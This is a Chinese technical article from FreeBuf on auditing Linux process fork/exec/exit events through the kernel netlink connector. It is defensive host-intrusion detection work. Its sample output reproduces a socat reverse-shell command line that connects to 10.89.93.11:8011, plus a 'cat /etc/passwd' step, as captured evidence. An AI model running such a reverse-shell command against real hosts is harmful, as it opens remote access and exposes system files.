基于Linux连接器的审计进程事件实现方案

*本文原创作者:zhouqiao,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 引言

主机安全反入侵检测的核心数据包含命令、网络、文件三大类型,文件产生进程、进程产生网络,从进程的角度出发可以捕获到最多的安全事件,因此进程事件在反入侵检测中是最重要安全感知数据,是安全检测和异常分析的基础。这样不论在攻击事前的弱口令扫描或暴力破解动作;还是事中的反弹shell、命令执行注入;或事后的后门或隐藏进程,都可以依赖进程事件的基础数据分析,同时根据不同的攻击向量,多维护分析出安全事件。

在常见的进程事件数据采集方案包括两种,第一种内核模块hook,拦截系统调用fork、exec等,优点:不易被绕过,缺点:方案过重,风险较高。第二种借助preload机制,拦截同名函数,优点:方案轻量,实现简单,缺点:对部分安全场景不能覆盖。

本文提供了第三种方案:通过linux连接器实现进程事件审计,由linux内核提供的接口,安全可靠,结合用户态轻量级ncp应用程序,对主机影响较小,并且能覆盖更多安全场景。

二 实现方案

1550826628_5c6fbc84b7b1a.png

1、linux内核提供连接器模块与进程事件收集机制,无需任何改动

2、在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息

三 linux连接器

连接器是一种新的用户态与内核态的通信方式。本质上,连接器是一种netlink通信,用以实现用户进程与内核进程通信的一种特殊的进程间通信(IPC), 连接器最常见应用是进程事件连接器。

linux内核从2.6.15版本开始支持连接器,可以检查内核模块配置文件(例 /boot/config-3.10.0-327.36.3.el7.x86_64 )是否配置CONFIG_CONNECTOR,CONFIG_PROC_EVENTS确定。

CONFIG_CONNECTOR=y

CONFIG_PROC_EVENTS=y

3.1 连接器内核模块

连接器内核模块实现核心代码主要在:

driver/connector/connector.c,driver/connector/cn_queue.c

int cn_add_callback(struct cb_id *id, const char *name,

 void (*callback)(struct cn_msg *,

 struct netlink_skb_parms *))

void cn_del_callback(struct cb_id *id)

cn_add_callback:用于向连接器注册新的连接器实例以及相应的回调函数,参数id 指定注册的标识 ID,参数 name 指定连接器回调函数的符号名,参数 callback 为回调函数。

连接器模块注册了”cn_proc”的连接器实例,并设置cn_proc_mcast_ctl回调函数

cn_add_callback(&cn_proc_event_id,

 "cn_proc",

 &cn_proc_mcast_ctl)

static void cn_proc_mcast_ctl(struct cn_msg *msg,

 struct netlink_skb_parms *nsp){

 *

 mc_op = (enum proc_cn_mcast_op *)msg->data;

 switch (*mc_op) {

 case PROC_CN_MCAST_LISTEN:

 atomic_inc(&proc_event_num_listeners);

 break;

 case PROC_CN_MCAST_IGNORE:

 atomic_dec(&proc_event_num_listeners);

 break;

 default:

 err = EINVAL;

 break;

 }

 *

}

cn_proc_mcast_ctl:接收通过连接器通道发来的用户态消息,主要处理PROC_CN_MCAST_LISTEN,PROC_CN_MCAST_IGNORE两种控制消息。

3.2 进程事件

进程事件连接器的实现代码主要在

drivers/connector/cn_proc.c

int cn_netlink_send(struct cn_msg *msg, u32 __group, gfp_t gfp_mask)

cn_netlink_send:用于向用户态发送 netlink 消息,参数 msg 为发送的 netlink 消息的消息头。

在内核实现中,进程创建、执行、退出的系统调用sys_fork, sys_exec,sys_exit最终都会通过cn_netlink_send发送消息到用户态

sys_fork->do_fork->copy_process->proc_fork_connector->cn_netlink_send

sys_exec->do_execve->do_execve_common->search_binary_handler->proc_exec_connector->cn_netlink_send

sys_exit->do_exit->proc_exit_connector->cn_netlink_send

在proc_fork_connector、proc_exec_connector、proc_exit_connector都是从内核进程数据结构task_struct获取信息封装netlink消息。

void proc_fork_connector(struct task_struct *task) {

 *

 ev->what = PROC_EVENT_FORK;

 parent = rcu_dereference(task->real_parent);

 ev->event_data.fork.parent_pid = parent->pid;

 ev->event_data.fork.parent_tgid = parent->tgid;

 ev->event_data.fork.child_pid = task->pid;

 ev->event_data.fork.child_tgid = task->tgid;

 *

}

void proc_exec_connector(struct task_struct *task){

 *

 ev->what = PROC_EVENT_EXEC;

 ev->event_data.exec.process_pid = task->pid;

 ev->event_data.exec.process_tgid = task->tgid;

 *

}

void proc_exit_connector(struct task_struct *task){

 *

 ev->what = PROC_EVENT_EXIT;

 ev->event_data.exit.process_pid = task->pid;

 ev->event_data.exit.process_tgid = task->tgid;

 ev->event_data.exit.exit_code = task->exit_code;

 ev->event_data.exit.exit_signal = task->exit_signal;

 *

}

proc_fork_connector消息中封装父进程pid、tgid和当前进程pid、tgid数据。

proc_exec_connector消息中封装当前进程pid、tgid数据。

proc_exit_connector消息中封装当前进程pid、tgid和exit_code、exit_signal数据。

除了上述三种事件,还有进程coredump、ptrace、id事件。

3.3 netlink消息格式

对于进程事件连接器,内核发出的netlink消息包括 netlink消息头、连接器消息头、控制操作或进程事件指令,下图中各控制消息和进程事件消息格式。

* netlink header * connector header * control or process data *

| idx---val | seq---ack---len | data |

* contorl event *

| flags--op |

* fork event *

| ptid--ppid--tid--pid |

* exec event *

| tid--pid |

* exit event *

| tid--pid--exit_code--exit_signal |

四 ncp用户态实现

ncp(netlink connector process) 实现主要与内核建立netlink connector连接,并持续接收进程事件,解析进程数据。

4.1 连接建立

fd, err := syscall.Socket(syscall.AF_NETLINK, syscall.SOCK_DGRAM, syscall.NETLINK_CONNECTOR)

lsa.Family = syscall.AF_NETLINK

lsa.Groups = C.CN_IDX_PROC

if err = syscall.Bind(fd, &lsa); err != nil {

 syscall.Close(fd)

}

Socket: nl_family设置为 AF_NETLINK, proto设置为 NETLINK_CONNECTOR

Bind: 绑定地址family为AF_NETLINK, groups为CN_IDX_PROC

4.2 打开进程连接器开关

 msg.idx = C.CN_IDX_PROC

 msg.val = C.CN_VAL_PROC

 msg.len = 4

 msg.op = C.PROC_CN_MCAST_LISTEN

 syscall.Sendto(fd, &msg, 0, &lca)

该步骤是构造一个netlink控制消息事件,通知内核模块打开进程连接器开关。

4.3 接收进程事件

for {

 nr, _, err := syscall.Recvfrom(self.fd, rb, 0)

 ev := parseEvent(nr)

 switch (ev){

 case C.PROC_EVENT_FORK:

 *

 get_exe(pid)

 get_cmdline(pid)

 get_cwd(pid)

 *

 case C.PROC_EVENT_EXEC:

 *

 case C.PROC_EVENT_EXIT:

 *

 }

}

对于 fork、exec、exit 事件,都会输出进程pid和线程tid, 结合/proc/pid, 可补全进程其他数据,如exe,cmdline,cwd等

4.4 进程数据

测试反弹shell案例,输出五条事件(3条Exec,2条Fork), 回溯整个过程.

Exec: {tid:5860 pid:5860} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest

Fork: {ptid:5860 ppid:5860 tid:5861 pid:5861} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest

Exec: {tid:5861 pid:5861} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest

Fork: {ptid:5861 ppid:5861 tid:5918 pid:5918} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest

Exec: {tid:5918 pid:5918} -> process exe:/usr/bin/cat, cmdline:cat /etc/passwd, cwd:/home/cnptest

重点关注Exec事件

第一条Exec事件:socat进程(pid 5860)执行socat exec, 进程详细信息: exe为/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011

第二条Exec事件:socat进程 fork出子进程 bash(pid 5861) 执行bash -li, bash进程详细信息:exe:/usr/bin/bash, cmdline: bash -li

第二条Exec事件:bash进程 fork出子进程 cat(pid 5918) 执行cat /etc/passwd, /usr/bin/cat, cmdline:cat /etc/passwd

根据上述5条事件,可以还原在10.89.93.11通过socat、bash -i等命令反弹进程shell, 并获取主机passwd信息的整个过程。

在安全分析中通过进程exe和cmdline信息可以快速定位危险命令执行的过程。

五 结论

通过linux连接器结合轻量级用户态应用程序ncp能够实时获取linux进程事件,在此基础上结合进程proc目录下各信息, 如/net/tcp,fd,stack等,可以描绘出更详尽的进程状态,为主机安全反入侵检测提供重要数据支撑,能够及时发现进程异常行为、危险命令执行等安全攻击事件。

在下篇文章会介绍在宿主机层针对docker内进程分析,敬请期待。

*本文原创作者:zhouqiao,本文属FreeBuf原创奖励计划,未经许可禁止转载

https://www.freebuf.com/articles/system/196466.html

标签